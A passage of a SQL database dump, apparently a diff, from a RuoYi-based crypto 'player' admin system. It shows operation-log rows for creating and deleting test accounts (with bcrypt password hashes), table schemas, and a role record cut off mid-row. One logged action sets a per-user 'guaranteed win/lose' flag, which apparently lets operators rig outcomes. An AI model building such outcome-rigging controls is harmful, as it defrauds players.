'admin', NULL, '/system/user/selectAllAgentUser', '172.104.169.172', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-12 11:26:25', 1); +INSERT INTO `sys_oper_log` VALUES (15, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 16:59:25', 24); +INSERT INTO `sys_oper_log` VALUES (16, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:04:25', 10); +INSERT INTO `sys_oper_log` VALUES (17, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:07:12', 12); +INSERT INTO `sys_oper_log` VALUES (18, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:07:59', 10); +INSERT INTO `sys_oper_log` VALUES (19, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:17:08', 12); +INSERT INTO `sys_oper_log` VALUES (20, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:17:33', 9); +INSERT INTO `sys_oper_log` VALUES (21, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:24:28', 13); +INSERT INTO `sys_oper_log` VALUES (22, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:41:50', 13); +INSERT INTO `sys_oper_log` VALUES (23, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:42:07', 11); +INSERT INTO `sys_oper_log` VALUES (24, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:42:32', 9); +INSERT INTO `sys_oper_log` VALUES (25, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:42:47', 12); +INSERT INTO `sys_oper_log` VALUES (26, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:43:19', 9); +INSERT INTO `sys_oper_log` VALUES (27, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:11:00', 9); +INSERT INTO `sys_oper_log` VALUES (28, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"ACMRGX\",\"createBy\":\"admin\",\"createTime\":\"2024-02-13 18:11:22\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000001\",\"loginPassword\":\"$2a$10$lyIBzYb7dI4n0p9/x85G6.vwi6t0HVVTzaCuxWKs6o8Lu1919D6FK\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 18:11:22\",\"userId\":325,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:11:23', 335); +INSERT INTO `sys_oper_log` VALUES (29, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:13:39', 12); +INSERT INTO `sys_oper_log` VALUES (30, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"GVG8MZ\",\"createBy\":\"admin\",\"createTime\":\"2024-02-13 18:13:58\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000002\",\"loginPassword\":\"$2a$10$E5JzuCJVMsafFYJjmpNgoegwpxkJyCxiUtWpRRqExwZSbcxSgJbrW\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 18:13:58\",\"userId\":326,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:13:58', 299); +INSERT INTO `sys_oper_log` VALUES (31, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:16:27', 10); +INSERT INTO `sys_oper_log` VALUES (32, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:18:56', 10); +INSERT INTO `sys_oper_log` VALUES (33, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:22:32', 15); +INSERT INTO `sys_oper_log` VALUES (34, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:23:06', 16); +INSERT INTO `sys_oper_log` VALUES (35, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:26:31', 10); +INSERT INTO `sys_oper_log` VALUES (36, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:27:04', 9); +INSERT INTO `sys_oper_log` VALUES (37, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:27:50', 11); +INSERT INTO `sys_oper_log` VALUES (38, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"A2G14F\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-13 18:27:59\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000003\",\"loginPassword\":\"$2a$10$hN5DyYQHmqeyS5nmLc2VO.UjG.BGwsNAJ7HeoXfpq.OkKcRyesLwS\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 18:27:59\",\"userId\":327,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:27:59', 330); +INSERT INTO `sys_oper_log` VALUES (39, '包输包赢设置', 2, 'com.ruoyi.web.controller.bussiness.TAppUserController.buff()', 'POST', 1, 'admin', NULL, '/bussiness/user/buff', '192.168.10.175', '内网IP', '{\"buff\":0,\"params\":{},\"updateTime\":\"2024-02-13 18:28:07\",\"userId\":326}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:28:07', 96); +INSERT INTO `sys_oper_log` VALUES (40, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 22:12:43', 38); +INSERT INTO `sys_oper_log` VALUES (41, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"SQ6P2T\",\"binanceEmail\":\"\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-13 22:13:01\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000004\",\"loginPassword\":\"$2a$10$2AKXmoQWGP80i17esaQibugELV78FuWfr6xm3GJyWojvH.GzFCNEy\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 22:13:01\",\"userId\":328,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 22:13:12', 10915); +INSERT INTO `sys_oper_log` VALUES (42, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 23:50:41', 21); +INSERT INTO `sys_oper_log` VALUES (43, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 23:53:30', 9); +INSERT INTO `sys_oper_log` VALUES (44, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"STCH9R\",\"createBy\":\"admin\",\"createTime\":\"2024-02-13 23:53:45\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test0000001\",\"loginPassword\":\"$2a$10$c/jUuMhq0FotPClFXUr8h.d10ZjrMFyhpPlxidWYXBvM/o0VI1Xm6\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 23:53:45\",\"userId\":329,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 23:53:45', 437); +INSERT INTO `sys_oper_log` VALUES (45, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:11:59', 18); +INSERT INTO `sys_oper_log` VALUES (46, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"3Y01XW\",\"binanceEmail\":\"user100000330_virtual@4mjo9nefnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:12:19\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test000005\",\"loginPassword\":\"$2a$10$6c9rXIouLmkcAZmq1.Oh9esLHx1d0OO0OU41eeUPw.rBBF8IKvP9.\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:12:19\",\"userId\":330,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:12:20', 1196); +INSERT INTO `sys_oper_log` VALUES (47, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/330', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:30', 70); +INSERT INTO `sys_oper_log` VALUES (48, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/329', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:37', 23); +INSERT INTO `sys_oper_log` VALUES (49, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/328', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:39', 23); +INSERT INTO `sys_oper_log` VALUES (50, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/327', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:41', 22); +INSERT INTO `sys_oper_log` VALUES (51, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/326', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:43', 21); +INSERT INTO `sys_oper_log` VALUES (52, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:14:45', 16); +INSERT INTO `sys_oper_log` VALUES (53, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"13MFIB\",\"binanceEmail\":\"user100000331_virtual@ybcznb0xnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:14:57\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test01\",\"loginPassword\":\"$2a$10$V1fKAgNNKT/1Aw9U78mGmeBqSW6A8v7FKl2DBxD1ZOg3um4FsryQG\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:14:57\",\"userId\":331,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:58', 1097); +INSERT INTO `sys_oper_log` VALUES (54, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/331', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:17:10', 73); +INSERT INTO `sys_oper_log` VALUES (55, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:17:11', 16); +INSERT INTO `sys_oper_log` VALUES (56, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"RM3SST\",\"binanceEmail\":\"user100000332_virtual@d99op7fqnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:17:20\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test02\",\"loginPassword\":\"$2a$10$eJQV00TT6SbqRX.TRsSB2.ZbuM734o9VaA96AezmItEIKns.aI3DC\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:17:20\",\"userId\":332,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:17:53', 32692); +INSERT INTO `sys_oper_log` VALUES (57, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:34:01', 22); +INSERT INTO `sys_oper_log` VALUES (58, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:34:45', 8); +INSERT INTO `sys_oper_log` VALUES (59, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:34:54', 9); +INSERT INTO `sys_oper_log` VALUES (60, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:36:17', 10); +INSERT INTO `sys_oper_log` VALUES (61, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"8BLEC6\",\"binanceEmail\":\"user100000333_virtual@devgszspnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:36:26\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test03\",\"loginPassword\":\"$2a$10$WxmCW9IDHCAa/3gjhmuTNedV.TAShUeOrlgPn9foaYjM78CUmJJNa\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:36:26\",\"userId\":333,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:36:27', 979); +INSERT INTO `sys_oper_log` VALUES (62, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:41:31', 22); +INSERT INTO `sys_oper_log` VALUES (63, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"PMTR8I\",\"binanceEmail\":\"user100000334_virtual@zuv6vys7noemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:41:40\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test04\",\"loginPassword\":\"$2a$10$WVs9RoRbNMqzPDvZcALsPOzPdgdPg8zEq2ez6TmvP8MQg/V5PDfre\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:41:40\",\"userId\":334,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:41:41', 1278); +INSERT INTO `sys_oper_log` VALUES (64, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:44:32', 23); +INSERT INTO `sys_oper_log` VALUES (65, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"YQQ9K4\",\"binanceEmail\":\"user100000335_virtual@glbtmubhnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:44:40\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test05\",\"loginPassword\":\"$2a$10$1par4nN4btxcryY1Gv4v0Oh4e3UPFdja1hciwYTUtfTe7pOMnqtr2\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:44:40\",\"userId\":335,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:45:15', 34773); +INSERT INTO `sys_oper_log` VALUES (66, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 18:14:08', 19); +INSERT INTO `sys_oper_log` VALUES (67, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"1T90BW\",\"binanceEmail\":\"100000336_virtual@oh30o2aunoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 18:15:10\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test06\",\"loginPassword\":\"$2a$10$MMU0y0Rsz.fDlHe5IPmZuuDdRErKBegKE./XHCra.gYefEiiIHy6u\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 18:15:10\",\"userId\":336,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 18:15:12', 2031); + +-- ---------------------------- +-- Table structure for sys_post +-- ---------------------------- +DROP TABLE IF EXISTS `sys_post`; +CREATE TABLE `sys_post` ( + `post_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '岗位ID', + `post_code` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '岗位编码', + `post_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '岗位名称', + `post_sort` int(0) NOT NULL COMMENT '显示顺序', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '状态(0正常 1停用)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`post_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '岗位信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_role +-- ---------------------------- +DROP TABLE IF EXISTS `sys_role`; +CREATE TABLE `sys_role` ( + `role_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '角色ID', + `role_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '角色名称', + `role_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '角色权限字符串', + `role_sort` int(0) NOT NULL COMMENT '显示顺序', + `data_scope` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '数据范围(1:全部数据权限 2:自定数据权限 3:本部门数据权限 4:本部门及以下数据权限)', + `menu_check_strictly` tinyint(1) NULL DEFAULT 1 COMMENT '菜单树选择项是否关联显示', + `dept_check_strictly` tinyint(1) NULL DEFAULT 1 COMMENT '部门树选择项是否关联显示', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '角色状态(0正常 1停用)', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '删除标志(0代表存在 2代表删除)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`role_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 103 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '角色信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_role +-- ---------------------------- +INSERT INTO `sys_role` VALUES (1, '超级管理员', 'admin', 1, '1', 1, 1, '0', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '超级管理员'); +INSERT INTO `sys_role` VALUES (2, '管理员', 'common', 2, '2', 1, 1, '0', '0', 'admin', '2023-06-24 15:31:37', 